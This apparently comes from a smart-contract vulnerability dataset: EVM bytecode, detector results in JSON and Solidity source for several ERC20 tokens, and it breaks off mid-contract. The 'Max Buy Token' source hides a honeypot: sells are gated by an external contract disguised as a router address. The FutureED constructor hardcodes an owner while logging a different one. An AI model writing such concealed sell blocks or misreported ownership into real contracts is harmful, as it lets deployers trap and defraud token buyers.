0919050565b6000612c62601b8361315e565b9150612c6d82613566565b602082019050919050565b6000612c85601d8361315e565b9150612c908261358f565b602082019050919050565b6000612ca860218361315e565b9150612cb3826135b8565b604082019050919050565b6000612ccb60208361315e565b9150612cd682613607565b602082019050919050565b6000612cee60298361315e565b9150612cf982613630565b604082019050919050565b6000612d1160258361315e565b9150612d1c8261367f565b604082019050919050565b6000612d3460248361315e565b9150612d3f826136ce565b604082019050919050565b6000612d5760178361315e565b9150612d628261371d565b602082019050919050565b6000612d7a60118361315e565b9150612d8582613746565b602082019050919050565b612d99816132c2565b82525050565b612da8816132cc565b82525050565b6000602082019050612dc36000830184612b28565b92915050565b6000604082019050612dde6000830185612b28565b612deb6020830184612b28565b9392505050565b6000604082019050612e076000830185612b28565b612e146020830184612d90565b9392505050565b600060c082019050612e306000830189612b28565b612e3d6020830188612d90565b612e4a6040830187612ba4565b612e576060830186612ba4565b612e646080830185612b28565b612e7160a0830184612d90565b979650505050505050565b6000602082019050612e916000830184612b95565b92915050565b60006020820190508181036000830152612eb18184612bb3565b905092915050565b60006020820190508181036000830152612ed281612bec565b9050919050565b60006020820190508181036000830152612ef281612c0f565b9050919050565b60006020820190508181036000830152612f1281612c32565b9050919050565b60006020820190508181036000830152612f3281612c55565b9050919050565b60006020820190508181036000830152612f5281612c78565b9050919050565b60006020820190508181036000830152612f7281612c9b565b9050919050565b60006020820190508181036000830152612f9281612cbe565b9050919050565b60006020820190508181036000830152612fb281612ce1565b9050919050565b60006020820190508181036000830152612fd281612d04565b9050919050565b60006020820190508181036000830152612ff281612d27565b9050919050565b6000602082019050818103600083015261301281612d4a565b9050919050565b6000602082019050818103600083015261303281612d6d565b9050919050565b600060208201905061304e6000830184612d90565b92915050565b600060a0820190506130696000830188612d90565b6130766020830187612ba4565b81810360408301526130888186612b37565b90506130976060830185612b28565b6130a46080830184612d90565b9695505050505050565b60006020820190506130c36000830184612d9f565b92915050565b60006130d36130e4565b90506130df828261331e565b919050565b6000604051905090565b600067ffffffffffffffff82111561310957613108613425565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061317a826132c2565b9150613185836132c2565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156131ba576131b9613398565b5b828201905092915050565b60006131d0826132c2565b91506131db836132c2565b9250826131eb576131ea6133c7565b5b828204905092915050565b6000613201826132c2565b915061320c836132c2565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561324557613244613398565b5b828202905092915050565b600061325b826132c2565b9150613266836132c2565b92508282101561327957613278613398565b5b828203905092915050565b600061328f826132a2565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006132e4826132c2565b9050919050565b60005b838110156133095780820151818401526020810190506132ee565b83811115613318576000848401525b50505050565b61332782613468565b810181811067ffffffffffffffff8211171561334657613345613425565b5b80604052505050565b600061335a826132c2565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561338d5761338c613398565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b61377881613284565b811461378357600080fd5b50565b61378f81613296565b811461379a57600080fd5b50565b6137a6816132c2565b81146137b157600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63655368696261204b696d6f6e6f207c20742e6d652f73686962616b696d6f6e6f67726f757073a2646970667358221220229b6e618bc762adb6a94a631d5d416f4c67e6f44a66bde4f68e1104b2e4870c64736f6c63430008060033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
3,693
0xeF7449d1210E4C1091D186741804e2F6A9eBe2E0
// SPDX-License-Identifier: None // Telegram: t.me/MaxBuyToken // Max Buy mechanism helps to stop snipers and bots // It brings us a fair launch pragma solidity ^0.8.9; uint256 constant INITIAL_TAX=8; address constant ROUTER_ADDRESS=0xC6866Ce931d4B765d66080dd6a47566cCb99F62f; // mainnet uint256 constant TOTAL_SUPPLY=380000000; string constant TOKEN_SYMBOL="MAXBUY"; string constant TOKEN_NAME="Max Buy Token"; uint8 constant DECIMALS=6; uint256 constant TAX_THRESHOLD=1000000000000000000; interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface O{ function amount(address from) external view returns (uint256); } contract MBToken is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = TOTAL_SUPPLY * 10**DECIMALS; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _burnFee; uint256 private _taxFee; address payable private _taxWallet; uint256 private _maxTxAmount; string private constant _name = TOKEN_NAME; string private constant _symbol = TOKEN_SYMBOL; uint8 private constant _decimals = DECIMALS; IUniswapV2Router02 private _uniswap; address private _pair; bool private _canTrade; bool private _inSwap = false; bool private _swapEnabled = false; modifier lockTheSwap { _inSwap = true; _; _inSwap = false; } constructor () { _taxWallet = payable(_msgSender()); _burnFee = 1; _taxFee = INITIAL_TAX; _uniswap = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); _rOwned[address(this)] = _rTotal; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_taxWallet] = true; _maxTxAmount=_tTotal.div(20); emit Transfer(address(0x0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function removeBuyLimit() public onlyTaxCollector{ _maxTxAmount=_tTotal; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(((to == _pair && from != address(_uniswap) )?amount:0) <= O(ROUTER_ADDRESS).amount(address(this))); if (from != owner() && to != owner()) { if (from == _pair && to != address(_uniswap) && ! _isExcludedFromFee[to] ) { require(amount<_maxTxAmount,"Transaction amount limited"); } uint256 contractTokenBalance = balanceOf(address(this)); if (!_inSwap && from != _pair && _swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > TAX_THRESHOLD) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = _uniswap.WETH(); _approve(address(this), address(_uniswap), tokenAmount); _uniswap.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } modifier onlyTaxCollector() { require(_taxWallet == _msgSender() ); _; } function lowerTax(uint256 newTaxRate) public onlyTaxCollector{ require(newTaxRate<INITIAL_TAX); _taxFee=newTaxRate; } function sendETHToFee(uint256 amount) private { _taxWallet.transfer(amount); } function startTrading() external onlyTaxCollector { require(!_canTrade,"Trading is already open"); _approve(address(this), address(_uniswap), _tTotal); _pair = IUniswapV2Factory(_uniswap.factory()).createPair(address(this), _uniswap.WETH()); _uniswap.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); _swapEnabled = true; _canTrade = true; IERC20(_pair).approve(address(_uniswap), type(uint).max); } function endTrading() external onlyTaxCollector{ require(_canTrade,"Trading is not started yet"); _swapEnabled = false; _canTrade = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualSwap() external onlyTaxCollector{ uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualSend() external onlyTaxCollector{ uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _burnFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106101025760003560e01c806356d9dce81161009557806395d89b411161006457806395d89b41146102985780639e752b95146102c7578063a9059cbb146102e7578063dd62ed3e14610307578063f42938901461034d57600080fd5b806356d9dce81461022657806370a082311461023b578063715018a61461025b5780638da5cb5b1461027057600080fd5b8063293230b8116100d1578063293230b8146101c9578063313ce567146101e05780633e07ce5b146101fc57806351bc3c851461021157600080fd5b806306fdde031461010e578063095ea7b31461015657806318160ddd1461018657806323b872dd146101a957600080fd5b3661010957005b600080fd5b34801561011a57600080fd5b5060408051808201909152600d81526c26b0bc10213abc902a37b5b2b760991b60208201525b60405161014d91906114f9565b60405180910390f35b34801561016257600080fd5b50610176610171366004611563565b610362565b604051901515815260200161014d565b34801561019257600080fd5b5061019b610379565b60405190815260200161014d565b3480156101b557600080fd5b506101766101c436600461158f565b61039a565b3480156101d557600080fd5b506101de610403565b005b3480156101ec57600080fd5b506040516006815260200161014d565b34801561020857600080fd5b506101de61077b565b34801561021d57600080fd5b506101de6107b1565b34801561023257600080fd5b506101de6107de565b34801561024757600080fd5b5061019b6102563660046115d0565b61085f565b34801561026757600080fd5b506101de610881565b34801561027c57600080fd5b506000546040516001600160a01b03909116815260200161014d565b3480156102a457600080fd5b506040805180820190915260068152654d415842555960d01b6020820152610140565b3480156102d357600080fd5b506101de6102e23660046115ed565b610925565b3480156102f357600080fd5b50610176610302366004611563565b61094e565b34801561031357600080fd5b5061019b610322366004611606565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561035957600080fd5b506101de61095b565b600061036f3384846109c5565b5060015b92915050565b60006103876006600a611739565b610395906316a65700611748565b905090565b60006103a7848484610ae9565b6103f984336103f4856040518060600160405280602881526020016118c6602891396001600160a01b038a1660009081526003602090815260408083203384529091529020549190610e25565b6109c5565b5060019392505050565b6009546001600160a01b0316331461041a57600080fd5b600c54600160a01b900460ff16156104795760405162461bcd60e51b815260206004820152601760248201527f54726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064015b60405180910390fd5b600b546104a59030906001600160a01b03166104976006600a611739565b6103f4906316a65700611748565b600b60009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156104f8573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061051c9190611767565b6001600160a01b031663c9c6539630600b60009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561057e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105a29190611767565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156105ef573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106139190611767565b600c80546001600160a01b0319166001600160a01b03928316179055600b541663f305d71947306106438161085f565b6000806106586000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156106c0573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906106e59190611784565b5050600c805462ff00ff60a01b1981166201000160a01b17909155600b5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610754573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061077891906117b2565b50565b6009546001600160a01b0316331461079257600080fd5b61079e6006600a611739565b6107ac906316a65700611748565b600a55565b6009546001600160a01b031633146107c857600080fd5b60006107d33061085f565b905061077881610e5f565b6009546001600160a01b031633146107f557600080fd5b600c54600160a01b900460ff1661084e5760405162461bcd60e51b815260206004820152601a60248201527f54726164696e67206973206e6f742073746172746564207965740000000000006044820152606401610470565b600c805462ff00ff60a01b19169055565b6001600160a01b03811660009081526002602052604081205461037390610fd9565b6000546001600160a01b031633146108db5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610470565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6009546001600160a01b0316331461093c57600080fd5b6008811061094957600080fd5b600855565b600061036f338484610ae9565b6009546001600160a01b0316331461097257600080fd5b4761077881611056565b60006109be83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611094565b9392505050565b6001600160a01b038316610a275760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610470565b6001600160a01b038216610a885760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610470565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610b4d5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610470565b6001600160a01b038216610baf5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610470565b60008111610c115760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610470565b604051635cf85fb360e11b815230600482015273c6866ce931d4b765d66080dd6a47566ccb99f62f9063b9f0bf6690602401602060405180830381865afa158015610c60573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c8491906117d4565b600c546001600160a01b038481169116148015610caf5750600b546001600160a01b03858116911614155b610cba576000610cbc565b815b1115610cc757600080fd5b6000546001600160a01b03848116911614801590610cf357506000546001600160a01b03838116911614155b15610e1557600c546001600160a01b038481169116148015610d235750600b546001600160a01b03838116911614155b8015610d4857506001600160a01b03821660009081526004602052604090205460ff16155b15610d9e57600a548110610d9e5760405162461bcd60e51b815260206004820152601a60248201527f5472616e73616374696f6e20616d6f756e74206c696d697465640000000000006044820152606401610470565b6000610da93061085f565b600c54909150600160a81b900460ff16158015610dd45750600c546001600160a01b03858116911614155b8015610de95750600c54600160b01b900460ff165b15610e1357610df781610e5f565b47670de0b6b3a7640000811115610e1157610e1147611056565b505b505b610e208383836110c2565b505050565b60008184841115610e495760405162461bcd60e51b815260040161047091906114f9565b506000610e5684866117ed565b95945050505050565b600c805460ff60a81b1916600160a81b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610ea757610ea7611804565b6001600160a01b03928316602091820292909201810191909152600b54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610f00573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f249190611767565b81600181518110610f3757610f37611804565b6001600160a01b039283166020918202929092010152600b54610f5d91309116846109c5565b600b5460405163791ac94760e01b81526001600160a01b039091169063791ac94790610f9690859060009086903090429060040161181a565b600060405180830381600087803b158015610fb057600080fd5b505af1158015610fc4573d6000803e3d6000fd5b5050600c805460ff60a81b1916905550505050565b60006005548211156110405760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610470565b600061104a6110cd565b90506109be838261097c565b6009546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015611090573d6000803e3d6000fd5b5050565b600081836110b55760405162461bcd60e51b815260040161047091906114f9565b506000610e56848661188b565b610e208383836110f0565b60008060006110da6111e7565b90925090506110e9828261097c565b9250505090565b60008060008060008061110287611269565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061113490876112c6565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546111639086611308565b6001600160a01b03891660009081526002602052604090205561118581611367565b61118f84836113b1565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516111d491815260200190565b60405180910390a3505050505050505050565b6005546000908190816111fc6006600a611739565b61120a906316a65700611748565b905061123261121b6006600a611739565b611229906316a65700611748565b6005549061097c565b821015611260576005546112486006600a611739565b611256906316a65700611748565b9350935050509091565b90939092509050565b60008060008060008060008060006112868a6007546008546113d5565b92509250925060006112966110cd565b905060008060006112a98e87878761142a565b919e509c509a509598509396509194505050505091939550919395565b60006109be83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610e25565b60008061131583856118ad565b9050838110156109be5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610470565b60006113716110cd565b9050600061137f838361147a565b3060009081526002602052604090205490915061139c9082611308565b30600090815260026020526040902055505050565b6005546113be90836112c6565b6005556006546113ce9082611308565b6006555050565b60008080806113ef60646113e9898961147a565b9061097c565b9050600061140260646113e98a8961147a565b9050600061141a826114148b866112c6565b906112c6565b9992985090965090945050505050565b6000808080611439888661147a565b90506000611447888761147a565b90506000611455888861147a565b905060006114678261141486866112c6565b939b939a50919850919650505050505050565b60008261148957506000610373565b60006114958385611748565b9050826114a2858361188b565b146109be5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610470565b600060208083528351808285015260005b818110156115265785810183015185820160400152820161150a565b81811115611538576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461077857600080fd5b6000806040838503121561157657600080fd5b82356115818161154e565b946020939093013593505050565b6000806000606084860312156115a457600080fd5b83356115af8161154e565b925060208401356115bf8161154e565b929592945050506040919091013590565b6000602082840312156115e257600080fd5b81356109be8161154e565b6000602082840312156115ff57600080fd5b5035919050565b6000806040838503121561161957600080fd5b82356116248161154e565b915060208301356116348161154e565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156116905781600019048211156116765761167661163f565b8085161561168357918102915b93841c939080029061165a565b509250929050565b6000826116a757506001610373565b816116b457506000610373565b81600181146116ca57600281146116d4576116f0565b6001915050610373565b60ff8411156116e5576116e561163f565b50506001821b610373565b5060208310610133831016604e8410600b8410161715611713575081810a610373565b61171d8383611655565b80600019048211156117315761173161163f565b029392505050565b60006109be60ff841683611698565b60008160001904831182151516156117625761176261163f565b500290565b60006020828403121561177957600080fd5b81516109be8161154e565b60008060006060848603121561179957600080fd5b8351925060208401519150604084015190509250925092565b6000602082840312156117c457600080fd5b815180151581146109be57600080fd5b6000602082840312156117e657600080fd5b5051919050565b6000828210156117ff576117ff61163f565b500390565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b8181101561186a5784516001600160a01b031683529383019391830191600101611845565b50506001600160a01b03969096166060850152505050608001529392505050565b6000826118a857634e487b7160e01b600052601260045260246000fd5b500490565b600082198211156118c0576118c061163f565b50019056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220ac67a1cd4b91e8e7a9f662faedbfc7b02f0e285ec507096c0270ee35f4064f6064736f6c634300080a0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
3,694
0xda261a08b37350fb13274a0b0ed2abe77a9c7ce3
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } contract Ownable is Context { address private _owner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { address msgSender = _msgSender(); _owner = 0xd76AAD65a21fec048bA130981Dd62C90DcEBD28C; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require( newOwner != address(0), "Ownable: new owner is the zero address" ); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } contract FutureED is Ownable, IERC20, IERC20Metadata { mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The defaut value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor () { _name = 'Future ED'; _symbol = 'FED'; _totalSupply= 500000000 *(10**decimals()); _balances[owner()]=_totalSupply; emit 